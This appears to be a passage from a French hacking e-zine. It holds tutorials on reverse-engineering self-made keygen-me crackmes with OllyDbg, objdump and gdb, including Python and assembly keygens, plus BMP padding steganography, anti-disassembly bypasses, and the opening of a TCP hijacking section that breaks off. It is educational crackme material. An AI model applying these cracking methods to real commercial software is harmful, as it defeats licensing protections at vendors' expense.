Cela consiste à comprendre le fonctionnement d'un programme en fonction de son code (le plus souvent en assembleur) afin de produire un programme permettant de générer une clé valide en fonction d'une information propre à chaque utilisateur .
Ici, nous allons étudier le fonctionnement d'un keygen-me de n-pn (que j'ai moi même codé). Je tiens à préciser que le but n'est pas de donner la réponse toute faite, mais plutôt d'expliquer aux débutants comment procéder.
Désassemblage
Bien, tout d'abord, essayons notre keygen me, on le lance, il nous demande un login, je rentre "fr0g" par habitude, étant donné que c'est mon pseudo, ensuite, le programme me demande de rentrer la clé correspondant au login "fr0g",
je tape n'importe quoi, évidemment un message d'erreur apparaît , à moins d'avoir une chance vraiment peu commune.
Ouvrons l’exécutable avec ollydbg, un clic droit sur le cadre en haut à gauche, et search for > all referenced Strings
On le voit dans le code c++ montré plus haut , la string "tropsimple" est un piège afin d'attirer l'attention d'un éventuel reverser, ce n'est en aucun cas une chaine intervenant dans l'algorithme générant la clé, je ne m'attarderai donc pas dessus, il n'y a rien de plus à dire.
Mais juste au dessus, on peut remarquer la chaine "ysae_os", on la note dans un coin au cas où (à ce moment-là nous ne sommes pas censé savoir si elle va nous servir ou pas .
Un peu plus bas on peut voir "Sorry, try" qui est le début de "Sorry, Try again boy :p", le message d'erreur que le keygen-me nous à affiché plus tôt.
On double clique sur cette chaine, et on se retrouve dans le code ASM du programme :
Partons à la pêche
Allez, on se lance, plaçons un BreakPoint (touche F2) sur l'instruction :
00401b85 CALL 00442EEC
et on appuie sur F9 pour lancer l’exécution du programme, on entre notre login ( pour mon cas c'est toujours "fr0g"),
le programme continue sa route, en nous demandant d'entrer cette fois, la clé correspondante au login que l'on a tapé juste avant,
pour cette fois, je vais rentrer une dizaine de "A" , et là ... notre programme va breaker .
Observons bien le cadre d'en bas à droite (le cadre affichant la pile ):
on voit clairement :
Je pense que vous avez tous compris, le "fr0g" correspond au login que j'ai entré, le "AAAAAAAAAA" correspond , lui, au serial que j'avais entré, et le "4fr0gso_easy" est notre serial, nous pouvons l'essayer .
Boom !!! on vient d'avancer d'un pas, on à trouvé la clé correspondant au login "fr0g", dans certains cas les algorithmes sont forts compliqués (contrairement à ces quelques crackMe pour débutants ^^ ), ici il n'y a nullement besoin d'analyser le code pour comprendre, décomposons notre clé :
4 fr0g so_easy
Il suffit d'entrer un ou deux autres logins pour comprendre que le nombre en début de clé, correspond à la longueur du login entré par l'utilisateur (en nombre de caractères), quant à la chaîne "so_easy", on se doute bien que c'est la chaîne "ysae_os" aperçue plus tôt dans les Referenced strings qui à été renversée.
NOTE :
Evidemment dans un cas réel, il est toujours préférable (pour ne pas dire indispensable) d'analyser le code pour comprendre en détails les étapes de la ou des fonction(s) générant la ou les clés valides, rien ne nous dit qu'au dessus d'un certain nombre de caractères dans le login, la clé se génère toujours de la même façon ...
Bon pour terminer ça on va coder un petit KeyGen afin de générer des clés valides pour ce keygenMe, pour cela je vais utiliser Python (3.2).
#!/usr/bin/env python3.2
# -*- coding: latin-1 -*-
##################################
# Author : fr0g
# WebSite : hwc-crew.com // n-pn.info
# Language : Python 3.2
#
# Name : keyGen Example
##################################
#Début de la fonction keygen()
def keygen(_login):
# Déclaration de la variable contenant "so_easy"
login_ext = "so_easy"
# Calcul du nombre de caractères dans le login
# Et stockage de ce nombre dans la variable login_len
login_len = str(len(_login))
# Concaténation des différentes parties de la clé
valid_key = login_len + _login + login_ext
# Renvoi de la clé valide
return valid_key
# Appel de la fonction keygen() sur le login entré par l'utilisateur
print (keygen(str(input("Login > "))))
Petit essai :
Login > AAAAAAAAAA
10AAAAAAAAAAso_easy
Nikel ;) .
Voilà, j'espère que ce mini tuto aura appris aux plus novices en quoi consiste un keygen, si vous désirez apporter des améliorations à cet article, libre à vous de mes les soumettre par mail à fr0g <at> hwc-crew.com ou sur le forum N-PN.info.
Cordialement, la grenouille ...
# Author : fr0g
# OS : windows
# Tools : ollydbg, (Python 3.2 pour le keygen)
> Le padding BMP
Auteur: Luxerails
0x01 - Qu‘est-ce que le padding BMP ?
Pour cacher de l‘information dans une image au format bmp, on peut utiliser le padding bmp. Tout d‘abord, voyons comment un bmp est construit (ouvrez par exemple une image bmp avec un éditeur de texte ou un éditeur hexadécimal).
BM : Header du bmp. Permet de reconnaitre le format du fichier (chaque format en a un: par exemple, le format PNG commence toujours par ‰PNG)
Les "..." représentent plusieurs informations concernant l‘image, notamment sa longueur, ses dimensions, le système d‘exploitation sous lequel elle a été crée... Ce ne sera d‘aucune utilité pour notre tuto.
image: L‘image, débutant à l‘octet 54.
L‘image est codée de la façon suivante : bvr.bvr.bvr.bvr. ...où r, v et b sont les 3 composantes d‘un pixel (rouge, vert et bleu), et où le . est un octet reservé (inutilisé, et généralement nul).
À noter que l‘octet reservé apparait que dans un bmp 32 bits, vu que 32 bits = 4 octets, donc 3 rvb et 1 inutile. Dans les bmp 24 bits, il n‘y a pas d‘octet reservé, donc un pixel = 3 octets. Il faut donc savoir que les composantes sont notées à l‘envers (bvr au lieu de rvb).
Il faut aussi savoir que le bmp écrit les pixels en partant du bas-gauche de l‘image, et en allant de gauche a droite, en remontant l‘image de bas en haut.
Par exemple, pour une image :
abc def ghi
jkl mno pqr
stu vwx yz0 (où 3 lettres = un pixel, c‘est donc une image de taille 3px sur 3px)
Le bmp l‘écrira de cette façon :
uts xwv 0zy lkj onm rqp cba fed ihg
(Pour plus de clarté, j‘ai laissé les espaces, mais il n‘y a pas d‘espaces dans le bmp). Bon, c‘est bien beau mais... le padding bmp dans tout ça ?!
Le problème dans un bmp, c‘est que il faut absolument qu‘une ligne dans un bmp soit multiple de quatre. Par exemple, dans notre exemple de tout à l‘heure :
utsxwv0zylkjonmrqpcbafedihg
Une ligne = 9 octets [=3 pixels], ce qui donne
utsxwv0zy
lkjonmrqp
cbafedihg
Or 9 n‘est pas un multiple de quatre ! Il va donc falloir rajouter des caractères afin que la "ligne" soit multiple de quatre. Ainsi, a chaque ligne, nous allons rajouter 3 octets nuls pour qu‘une ligne fasse douze caractères et douze est un multiple de quatre.
On se retrouve donc avec :
utsxwv0zy...
lkjonmrqp...
cbafedihg...
Soit
utsxwv0zy...lkjonmrqp...cbafedihg...
dans notre bmp.
(les . représentent des octets nuls)
Seulement, qui nous empêche de mettre autre chose que des octets nuls ? Je peux très bien mettre :
utsxwv0zymsglkjonmrqpcaccbafedihghé!
Pour extraire le message caché, je regarde la longueur de l‘image qui est de neuf, le multiple de quatre qu‘il y a juste après est douze, donc je coupe tout les douze octets :
utsxwv0zymsg
lkjonmrqpcac
cbafedihghé!
Et je lis les 3 derniers octets de chaque ligne.
0x02 - Avantages et inconvénients
Les avantages de cette technique sont que la taille du fichier n‘est pas modifié, et que l‘image n‘a pas a été modifiée non plus (vu que la stéganographie ne se fait pas dans l‘image, mais dans la structure du bmp).
L‘inconvénient de cette technique est que l‘information cachée est en clair dans le bmp, et ainsi, par exemple, si l‘on cache un GIF dans du padding bmp, en sachant que les trois premières lettres d‘un fichier gif sont... "GIF", on peut peut-être voir le mot GIF en clair dans le fichier si la taille du padding d‘une ligne est de trois.
0x03 - Exemple
Essayez de trouver le message caché dans cette image...
> Unix keygenning
Auteur: kallimero
Fermons la fenêtre, préparons-nous, et partons vers la banquise.
Là-bas, pas d'outils graphique, pas de belles images. Uniquement de la console. Encore et toujours.
Bon, maintenant que les fainéants et les pleutres ont disparus, nous allons pouvoir commencer.
Pour suivre ce tutoriel, il vous sera nécessaire de posséder quelques acquis en programmation ASM. Même si je vais m'efforcer, au comble du masochisme, de vous décrire point par point chaque instruction, ces acquis vous permettront de combler mes lacunes pédagogiques.
Le keygenning ayant déjà été défini dans l'article sur le keygenning windows, je préfère vous y renvoyer, plutôt que d'en rédiger une moi-même. D'autant plus que la définition me convient très bien (et que je suis fainéant).
0x01 - Les outils
Dans ce tutoriel nous utiliserons des outils basiques, qui font sûrement déjà partie de votre panoplie, puisqu'ils sont de base installés sur la plupart des distributions GNU/Linux.
Objdump, un desassembleur faisant partie de la sympathique famille des GNU binutils (qui comprend également as, ld, strings, strip, readelf, pour ne citer qu'eux). Une suite bien utile dans sa totalité, pour l'analyse de fichier binaire.
gdb, le Gnu DeBugger,un debugger plutôt complet.
Nasm (ou as) & ld, assembleur & linker, pour la création du keygen. Ou le langage de programmation de votre choix.
Avant de partir à toute allure dans des travers techniques et incompréhensibles, pourquoi ne pas lancer le joujou hors debugger, histoire de voir de quoi il retourne ?
Bon, étant donné la masse d'entre vous qui trouvent mon idée géniale, voyons ce que ça donne :
$ ./KeygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : trolololo
Registration failed.
Évidemment, ça n'a pas marché. Le contraire aurait été vraiment étonnant. Je ne suis donc pas cocu. CQFD.
On a déjà pas mal d'infos utiles:
Le fichier est linké statiquement. Le linker étant le lien entre le fichier objet et le fichier exécutable. Pour faire court, le fichier objet est un fichier intermédiaire, utilisé lors de la compilation. Il contient du code machine non-exécutable, qui nécessite l'édition des liens (d'où le nom de linker). Quand le linkage est statique, le fichier exécutable n'est pas lié à une bibliothèque externe, il est lié tout seul. Quand il est dynamique, il est lié à une bibliothèque, et ce lien est mis en œuvre au lancement du fichier.
Il est strippé. C'est à dire que toute les entêtes non nécessaires pour le bon déroulement de programme ont été supprimées.
Allez, je ne vous fait pas baver plus longtemps. D'autant que votre salive vous servira pour crier de douleur un peu plus tard.
0x03 - Désassemblons
On est parti pour se pencher sur le code assembleur. On va commencer par regarder le code gentillement désassemblé par objdump, afin de comprendre le fonctionnement intrinsèque et d'isoler la routine de génération du keygen. Le programme étant linké statiquement, cela ne devrait pas trop nous poser de soucis.
Petite parenthèse avant de découvrir le magnifique code, sur les syscalls.
De manière schématique, un syscall est un appel au kernel, pour que celui-ci effectue une certaine tâche, en fonction de paramètres (arguments). Un syscall à toujours la même structure. Sous Linux:
Numéro du syscall dans eax
1er argument dans ebx
2nd argument dans ecx
3eme argument dans edx
possible 4, 5, 6... argument(s)
Appel au kernel (kernel interrupt) int $0x80
Le numéro de syscall correspond à la fonction que l'on souhaite effectuer.
Vous retrouverez la correspondance entre fonction et numéro ici : http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html, ou dans le fichier /usr/include/asm/unistd.h
/!\ Attention objdump utilise par défaut la syntaxe AT&T. Si vous préférez la syntaxe intel (utilisée notamment par nasm et masm), vous pouvez ajouter l'option -M intel.
On utilisera l'option -d pour indiquer le fichier à désassembler, utilisez l'option -H pour connaître la foultitude d'options intéressantes d'objdump.
Je vous montre directement l'output commenté par mes soins.
$ objdump -d KeygenMe
keygenMe: file format elf32-i386
Disassembly of section .text:
08048080 <.text>:
; Premier syscall, pour afficher « KeygenMe By kallimero »
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 70 91 04 08 mov $0x8049170,%ecx
804808f: ba 56 00 00 00 mov $0x56,%edx
8048094: cd 80 int $0x80
; Second syscal pour afficher « pseudo : »
8048096: b8 04 00 00 00 mov $0x4,%eax
804809b: bb 01 00 00 00 mov $0x1,%ebx
80480a0: b9 c7 91 04 08 mov $0x80491c7,%ecx
80480a5: ba 09 00 00 00 mov $0x9,%edx
80480aa: cd 80 int $0x80
; 3eme syscall pour enregistrer le pseudo dans une variable
80480ac: b8 03 00 00 00 mov $0x3,%eax
80480b1: bb 00 00 00 00 mov $0x0,%ebx
80480b6: b9 14 92 04 08 mov $0x8049214,%ecx
80480bb: ba 0f 00 00 00 mov $0xf,%edx
80480c0: cd 80 int $0x80
; 4eme syscall pour afficher « serial : »
80480c2: b8 04 00 00 00 mov $0x4,%eax
80480c7: bb 01 00 00 00 mov $0x1,%ebx
80480cc: b9 d1 91 04 08 mov $0x80491d1,%ecx
80480d1: ba 09 00 00 00 mov $0x9,%edx
80480d6: cd 80 int $0x80
; 5eme syscall pour enregistrer le serial dans une variable
80480d8: b8 03 00 00 00 mov $0x3,%eax
80480dd: bb 00 00 00 00 mov $0x0,%ebx
80480e2: b9 34 92 04 08 mov $0x8049234,%ecx
80480e7: ba 0f 00 00 00 mov $0xf,%edx
80480ec: cd 80 int $0x80
; Routine obscure que nous allons élucider
80480ee: b8 14 92 04 08 mov $0x8049214,%eax
80480f3: ba 00 00 00 00 mov $0x0,%edx
80480f8: 42 inc %edx
80480f9: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1)
80480fd: 75 f9 jne 0x80480f8
80480ff: bb 00 00 00 00 mov $0x0,%ebx
8048104: 81 ea 01 00 00 00 sub $0x1,%edx
804810a: 01 93 14 92 04 08 add %edx,0x8049214(%ebx)
8048110: 43 inc %ebx
8048111: 39 d3 cmp %edx,%ebx
8048113: 75 f5 jne 0x804810a
; Routine de comparaison
8048115: 81 c2 01 00 00 00 add $0x1,%edx
804811b: 89 d1 mov %edx,%ecx
804811d: be 14 92 04 08 mov $0x8049214,%esi
8048122: bf 34 92 04 08 mov $0x8049234,%edi
8048127: f3 a6 repz cmpsb %es:(%edi),%ds:(%esi)
8048129: 74 22 je 0x804814d
; Si la comparaison est bonne, au saute à 0x804814d
; Syscall pour afficher le badBoy
804812b: b8 04 00 00 00 mov $0x4,%eax
8048130: bb 01 00 00 00 mov $0x1,%ebx
8048135: b9 fc 91 04 08 mov $0x80491fc,%ecx
804813a: ba 16 00 00 00 mov $0x16,%edx
804813f: cd 80 int $0x80
; Syscall exit
8048141: b8 01 00 00 00 mov $0x1,%eax
8048146: bb 00 00 00 00 mov $0x0,%ebx
804814b: cd 80 int $0x80
; Syscall pour afficher le GoodBoy
804814d: b8 04 00 00 00 mov $0x4,%eax
8048152: bb 01 00 00 00 mov $0x1,%ebx
8048157: b9 db 91 04 08 mov $0x80491db,%ecx
804815c: ba 21 00 00 00 mov $0x21,%edx
8048161: cd 80 int $0x80
; Syscall exit
8048163: b8 01 00 00 00 mov $0x1,%eax
8048168: bb 00 00 00 00 mov $0x0,%ebx
804816d: cd 80 int $0x80
Je ne vous avait pas menti ; le code est principalement composé de syscalls. Ceux utilisés majoritairement sont :
sys_write. 4 dans eax, et 1 dans ebx pour stdout, pour écrire du texte,
sys_read, 4 dans eax, et 0 dans ebx pour stdin, pour lire du texte,
sys_exit, 1 dans eax, et un nombre dans ebx qui représente le code d'erreur. 0 signifiant qu'il n'y as pas eu d'erreur.
Stdout est le flux de sortie, soit votre écran, et stdin le flux d'entrée, soit votre clavier.
Mêlé entre les vils et rugueux appels au système, nous pouvons distinguer un sombre morceau de code, qui s'apparenterait à une routine de génération de mot de passe.
C'est à ce moment que des connaissances en assembleur sont de mises, car le keygenning, c'est avant tout de longues nuits à jongler entre documentation et langage d'assemblage, entre café et aspirine, entre jouissances profondes et crises de nerfs.
Voyons ensemble de plus près la désormais fameuse portion de bouillie asm :
80480ee: b8 14 92 04 08 mov $0x8049214,%eax
; Met le pseudo entrer dans eax (voir le 3eme syscall)
80480f3: ba 00 00 00 00 mov $0x0,%edx
; Met 0 dans edx, sûrement pour un compteur
80480f8: 42 inc %edx
; incrémente ebx (edx = edx +1)
80480f9: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1)
Compare le byte numéro edx du pseudo avec 0 (byte de fin d'une chaîne)
80480fd: 75 f9 jne 0x80480f8
; Si ce n'est pas un 0, on recommence
;Finalité de cette première partie : eax contient le pseudo, edx contient le nombre de byte du pseudo
80480ff: bb 00 00 00 00 mov $0x0,%ebx
; On met 0 dans ebx, pour un compteur
8048104: 81 ea 01 00 00 00 sub $0x1,%edx
; on décrément edx qui contient la taille du pseudo
804810a: 01 93 14 92 04 08 add %edx,0x8049214(%ebx)
; On ajoute edx au byte numéro ebx du pseudo
8048110: 43 inc %ebx
; on incrémente ebx
8048111: 39 d3 cmp %edx,%ebx
;On compare edx et ebx (donc quand ebx vaut la taille du pseudo)
8048113: 75 f5 jne 0x804810a ; si ebx ne vaut la taille du pseudo, que tout les bytes n'ont été parcourus, on retourne plus haut
Finalité de cette seconde partie : On décale dans la table ascii chaque caractère du pseudo de sa taille totale.
Pourquoi je parle de la table ascii ? Eh bien parce que tout caractère est représenté par un nombre (l'ordinateur ne comprenant pas les lettres). La correspondance entre les lettre et les nombres est réalisée par la table ascii. Donc l'opération à l'adresse 804810a ajoute a la lettre traduite en ascii, le nombre de lettres total du pseudo, ce qui changera la lettre.
Nous reverrons ça plus tard.
0x04 - Debuggons
Ce terme, assez barbare pour faire rougir mon correcteur orthographique, mérite un peu d'attention pour les plus débutant d'entre nous.
Le concept est assez simple ; un debugger permet, à chaque instant, de voir ce qui ce passe à l'intérieur d'un programme (état des registres, de la mémoire du programme). Littéralement, debugger signifie « qui enlève les bugs ». Bien sûr, nous n'aurons pas cette prétention là. Nous utiliserons le Gnu DeBugger, pour d'autres fin.
Démarrons donc notre fidèle ami Gdb, toujours là pour nous aider dans notre quête de sérial :
$ gdb keygenMe
Pas besoin de re-désassembler le code ici. Si c'est votre désir le plus ardent vous pouvez bien évidemment le faire, en utilisant la commande « disass ». Ici le programme ayant été linké statiquement, vous ne retrouverez qu'une section, .text, que vous ne pourrez désassembler qu'en lui indiquant l'adresse de début et celle de fin. De cette manière :
(gdb) disass 0x08048080 0x0804816d
Ce qui vous renverra à peu de chose près ce que nous avons vu avec objdump.
/!\ Attention, encore une fois, gdb utilise la syntaxe AT&T, si vous souhaitez qu'il utilise la syntaxe intel, vous pouvez le lui indiquer avec la commande « set disassembly-flavor intel ».
Nous allons maintenant poser un point d'arrêt – breakpoint en anglais – Sur la comparaison du serial entré avec celui attendu.
(gdb) b *0x08048127
Breakpoint 1 at 0x8048127
Pour ceux qui ne le savent pas encore, un breakpoint permet d'arrêter le programme en cours d'éxecution, afin d'examiner, à l'instant définis, l' état des registres, des flags, de la stack, etc...
Maintenant lançons le programme avec la commande run (que l'on peut abréger r)
(gdb) r
Starting program: /home/kallimero/Bureau/codes/asm/keygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : trolololo
Breakpoint 1, 0x08048127 in ?? ()
On rentre encore une fois, tel un rituel, des informations bidons.
Mais cette fois, paf !
Pas de chocapic mais un breakpoint. Notre programme est en stand by.
Vérifions l'état des registres, avec la commande « info registers » (que l'on peux abréger i r)
(gdb) i r
eax 0x8049214 134517268
ecx 0xa 10
edx 0xa 10
ebx 0x9 9
esp 0xffffd5d0 0xffffd5d0
ebp 0x0 0x0
esi 0x8049214 134517268
edi 0x8049234 134517300
eip 0x8048127 0x8048127
eflags 0x206 [ PF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
Comme nous l'avons vu plus haut, c'est eax qui nous intéresse, car c'est lui qui au début contient le pseudo, qui est ensuite modifié pour obtenir le sérial voulu par le programme.
Tâchons de l'afficher comme une chaîne de caractère, grâce au système de conversion de gdb.
(gdb) x/s $eax
0x8049214: "tjuurvn{x\n"
(gdb)
x/s : convertir hexadécimal en chaîne de caractère (string)
$eax : le registre eax. N'oubliez pas le $
Le serial correspondant au pseudo kallimero serai donc tjuurvn{x. Le \n n'étant pas pris en compte au moment de la comparaison.
Très bien. Testons donc cela (vous pouvez quitter gdb via la commande quit ou q) :
$ ./keygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : tjuurvn{x
Yeah, you win. Serial accepted.
Ah, la douce odeur de la victoire approchante et chantante.
Comme vous avez pus le voir notre ruse et notre intelligence nous a permis de dénicher un sérial valide.
Mais évidemment, ce n'est pas finis ; sinon toutes les étapes du début ne nous auraient servis à rien, et vous savez bien que je ne me serai pas permis de vous faire perdre votre temps.
Il va falloir réaliser un programme capable de générer, pour n'importe quel pseudo, un serial valide.
Afin d'accroître notre compréhension de l'algorithme, tâchons de déterminer « mathématiquement », le serial correspondant au magnifique pseudo kallimero.
kallimero a une taille de 9 caractères.
k = 107 | 107 + 9 = 116 = ta = 97 | 97 + 9 = 106 = jl = 108 | 108 + 9 = 117 = ul = 108 | 108 + 9 = 117 = ui = 105 | 105 + 9 = 114 = rm = 109 | 109 + 9 = 118 = ve = 101 | 101 + 9 = 110 = nr = 114 | 114 + 9 = 123 = {o = 111 | 111 + 9 = 120 = x
Ce qui nous donne bien tjuurvn{x
Bien sûr c'est une étape un peu artificielle que vous pourrez sauter dans le future, mais elle est ici afin de vous faire comprendre en profondeur le keygenMe présent.
0x05 - Le keygen
Écrire le keygen est normalement plutôt aisé quand la routine de génération du sérial est bien assimilée. Ce qui est bien évidemment notre cas.
Je vais personnellement en écrire un en assembleur, ce qui nous permet de carrément récupérer des bouts du code désassemblé. mais libre à vous d'utiliser tout autre langage.
;Compilation :
;nasm -f elf keygen.asm
; ld -s -o keygen keygen.o
section .data
hello: db "Type your pseudo : "
ser: db "Your serial : "
section .bss
pseudo: resb 32
section .text
global _start
_start:
;syscall « type your pseudo »
mov eax, 4
mov ebx, 1
mov ecx, hello
mov edx, 19
int 80h
;syscall qui met ce qui est entré dans la variable pseudo
mov eax, 3
mov ebx, 0
mov ecx, pseudo
mov edx, 10
int 80h
mov eax, pseudo ; On met le pseudo dans eax
mov edx, 0 ; edx sert de compteur
; On cherche la taille
boucle:
inc edx ; incrementation d'edx
cmp byte [eax + edx], 0 ; Compare avec le null byte
jne boucle ; Si c'est pas le nullbyte, on retourne en haut
push edx ; On sauvegarde edx en le mettant sur le pile
sub edx, 1 ; on enlève 1 à edx
boucle2:
add dword [pseudo+ebx], edx ; On ajoute edx au byte n°ebx du pseudo
inc ebx ; on incrémente le compteur
cmp ebx, edx ; on compare ebx a la taille totale
jne boucle2 ; SI on a pas encore tout parcouru, on retourne en haut
;syscall « your serial »
mov eax, 4
mov ebx, 1
mov ecx, ser
mov edx, 14
int 80h
;syscall qui affiche le serial
mov eax, 4
mov ebx, 1
mov ecx, pseudo
pop edx
int 80h
; serial exit
mov eax, 1
mov ebx, 0
int 80h
Schématiquement, ce code demande à l'utilisateur de rentrer un pseudo, puis il détermine la taille de ce pseudo. Et ajoute à chaque caractère la taille obtenu précédemment. Rien de bien compliqué, que vous pourrez facilement traduire dans une autre langage. J'ai essayé de le commenter au maximum.
> Contourner les protections contre le désassemblage
Auteur: aaSSfxxx
Prérequis:
Savoir manier un éditeur hexadécimal, connaître les instructions assembleur de base, avoir quelques notions en cracking/reverse-engineering.
0x01 - Introduction
Dans le monde du reverse-engineering, c'est-à-dire l'art d'analyser le fonctionnement d'un binaire dans notre cas, on peut trouver des protections différentes, allant du chiffrage du programme (ou de sa compression) à la détection de débuggeurs (outils servant à contrôler le flux d'exécution d'un programme, l'arrêter à certains endroits). Une autre technique, qui sera celle montrée ici est le fait de rendre les désassembleurs incapables de retrouver le code assembleur d'un binaire.
Nous allons donc voir ici comment analyser ce genre de programmes, et comment contourner cette protection à travers un exemple simple pour commencer.
0x02 - Premier contact avec le programme
Tout d'abord, vous pouvez télécharger le crackme
ici ). Une fois ceci fait, nous allons prendre notre désassembleur favori (IDA Pro dans mon cas, mais objdump fait aussi l'affaire). Lorsqu'on essaie de l'exécuter, le crackme nous accueille avec un gentil message "Essaie encore :þ", ce qui montre que le crackme fonctionne.
Un "file" sur le crackme nous indique qu'il est stripped, c'est-à-dire que tous les symboles de débuggage ont été retirés du binaire. Ainsi, le désassembleur va nous diriger sur _start (le "vrai" point d'entrée du programme, et non main, appelé par _start).
On désassemble donc notre programme, comme on ferait pour n'importe quel autre crackme. Il va donc falloir retrouver notre "main", étant donné que le désassembleur n'a pas pu le localiser. On s'aperçoit qu'il y a un "push offset sub_8048495" avant un "call __libc_start_main", ce qui nous indique que notre "main" est à l'adresse 0x08048495. Lorsqu'on désassemble ce "main", on s'aperçoit qu'il y a plein de code qui n'a a priori aucun sens (ou pire dans le cas d'IDA, une suite de dwords incompréhensibles lorsqu'on est en "Text View").
Nous allons donc voir ici comment pallier ce problème.
0x03 - Analyse statique du binaire
On va ici se servir du désassembleur pour comprendre comment le processeur arrive à exécuter cette bouillie d'instructions sans broncher. Tout d'abord, on commence par trouver le "main" (dans notre cas à 0x08048495). Si vous ne trouvez rien à cette adresse (mais que les chiffres à la fin sont proches), c'est qu'il y a déjà des protections contre le désassemblage (et une analyse dynamique conviendra mieux pour ce cas). Ce n'est pas le cas dans ce crackme.
On va donc analyser les premières instructions du programme:
On aperçoit ici le prologue habituel ("push ebp" et "mov ebp,esp"), l'initialisation de deux registres puis un saut vers 0x8048516.
Regardons donc cette fonction:
La première chose qui nous frappe, c'est ce "jmp eax" : on sait que notre programme va aller sauter à la valeur contenue dans eax. Or, eax est initialisé avec "0x080484A4" qui ressemble curieusement à une adresse de fonction et qu'on retrouve dans notre désassemblage (là où le code est devenu incohérent).
Le programme ajoute aussi edx à la valeur d'eax, or edx vaut 2. On a donc, eax = 0x080484A4 + 2.
Ensuite, on met eax dans edx, puis on retranche la valeur de la "fonction" à edx, qui est du coup égal à 2. On ajoute encore edx (donc 2) à eax, avant de jmp à la valeur contenue dans eax. On a donc 4 octets de décalage entre la fonction annoncée et la fonction "réelle" qui contient n'importe quoi, ce qui embrouille le désassembleur. On va donc nopper ces 4 octets afin de redonner du sens à notre code (je supposerai ici que vous savez localiser et éditer des octets dans un binaire). Sous IDA, il suffira juste de se placer 4 octets après "0x080484A4" et de presser "C", ce qui demandera à IDA d'analyser et désassembler le code.
Nous avons affaire à une deuxième protection anti-désassembleur un peu plus loin dans le code, que je vous laisserai éliminer (le code est plus basique).
Une fois ceci fait, on remarque que le bon serial est "T4pZN355" (avec un peu d'habitude).
0x04 - Avec l'utilisation d'un debuggeur
Je vais proposer ici une autre approche pour résoudre ce crackme, qui ne nécessite pas d'analyse statique (il faudra par conséquent "oublier" tous les résultats qu'on a trouvé jusqu'à maintenant).
On va donc lancer notre crackme avec gdb:
$ gdb ./demo
Le premier problème auquel nous sommes confrontés sont les symboles supprimés, ce qui nous empêche de poser un breakpoint sur _start ou sur main. Qu'à cela ne tienne, on va poser un breakpoint sur __libc_start_main, puis regarder la pile des appels pour revenir à notre fonction parent.
Cela nous donne quelque chose comme ceci: (à noter que j'utilise un .gdbrc permettant à gdb de ressembler à softice, merci à Xylitol pour le script)
gdb $ break __libc_start_main
gdb $ run
Notre programme break donc dans la fonction __libc_start_main, et comme promis, un coup de "bt" nous permet de revenir à la fonction appelante, avec ceci:
gdb $ bt
#0 0x4ad8b5c0 in __libc_start_main () from /lib/libc.so.6
#1 0x08048391 in ?? ()
L'adresse qui nous intéresse ici est 0x08048391, qui est l'adresse de l'instruction appelée juste après le "call __libc_start_main". On va donc revenir de quelques instructions en arrière, pour récupérer notre adresse de la fonction "main" (en diminuant la valeur trouvée, au pif pour moi 0x08048380):
L'adresse qui nous intéresse est le push effectué juste avant le call, qui est l'adresse de notre main(). On va donc poser un breakpoint dessus, et continuer notre petit bonhomme de programme:
Nous sommes ici face à notre prologue habituel, puis le programme met certaines valeurs dans edx et eax avant d'effectuer un saut. Malheureusement, après ce saut, les instructions semblent être devenues incohérentes, et on se dit qu'il y a une protection anti-désassembleur dans le coin.
On va donc exécuter le code pas à pas jusqu'au saut (à coup de nexti), afin de regarder plus en détail ce qu'il se passe.
Une fois le saut effectué, on se retrouve face à ceci:
Le programme effectue des calculs plus ou moins bizarres avec eax, avant de sauter sur la valeur contenue dans eax. On va donc poser un breakpoint sur le jmp, continuer l'exécution du programme et observer la valeur de eax (et ainsi nous épargner de fastidieux calculs :þ). Lors du break, on voit que eax vaut 080484A8 (ce qui correspond effectivement au 080484A4 + 4 de la partie précédente). Un petit coup de nexti nous permet ainsi de sauter sur l'adresse contenue dans eax, où notre programme a une tête plus sympathique:
0x80484a8: push 0x8048430
0x80484ad: call 0x8048330 ; appel à la fonction printf
0x80484b2: add esp,0x4
0x80484b5: mov eax,DWORD PTR [esp+0x8] ; on récupère le premier argument passé à la fonction (ie argc pour main)
0x80484b9: cmp eax,0x2
0x80484bc: jne 0x80484ff
On voit clairement que notre programme affiche un message (sûrement de bienvenue), puis récupère le argc pour le comparer à 2: on peut donc se douter que notre programme attend un argument (l'argument 1 correspond au nom de l'exécutable lui-même). On va donc avancer jusqu'au jne, pour voir le code qu'on exécutera pas (étant donné qu'on a pas passés d'arguments au programme).
Lorsqu'on regarde le désassemblage, on peut voir cela:
On est clairement face à une deuxième protection anti-désassembleur. On va donc poser un breakpoint sur le "jmp ebx", puis relancer notre programme avec un argument (sûrement notre mot de passe). On va quand-même supprimer nos vieux breakpoints qui vont nous ralentir, avec "info breakpoint" et "delete id", où id est le numéro devant le breakpoint.
Relançons donc notre programme avec un argument (avec "run toto" par exemple), et le programme break comme prévu sur le "jmp ebx". On fait donc un petit coup de "nexti", et comme par miracle, on tombe sur un joli strcmp, ce qui est une routine de vérification du mot de passe:
Regardons donc ce qu'il y a à l'adresse, 0x804848c (avec "x/s 0x804848c"), et on trouve comme par magie "T4pZN355", qui est le passe de validation.
0x05 - Conclusion
Nous avons vu ici comment contourner une protection "basique" à l'aide de deux méthodes différentes. Evidemment, le programme analysé est élémentaire; cependant, ces techniques sont aussi couplées avec d'autres tricks tes que les anti-débuggeurs ou la compression du code, ce qui rend l'analyse plus difficile.
J'espère malgré tout que cet article vous aura ouvert de nouvelles possibilités, et qui sait, permis de trouver une méthode pour résoudre un problème plus délicat.
That's all folks ! :þ
> TCP Hijacking
Auteur: storn
0x01 - Qu'est-ce que TCP
Le protocole TCP (Transmission Control Protocol) est un protocole utilisé pour transmettre des données
entre une machine A et une Machine B.
Il gère de "A à Z" la connexion (Établissement, Transfert, etc) en utilisant un système de Drapeaux ou Flags. "Couplé" avec le protocole IP (Internet Protocole) qui assure le bon routage des paquets, il forme le modèle TCP/IP.
Une trame TCP est constituée comme ceci:
0 1 2 3
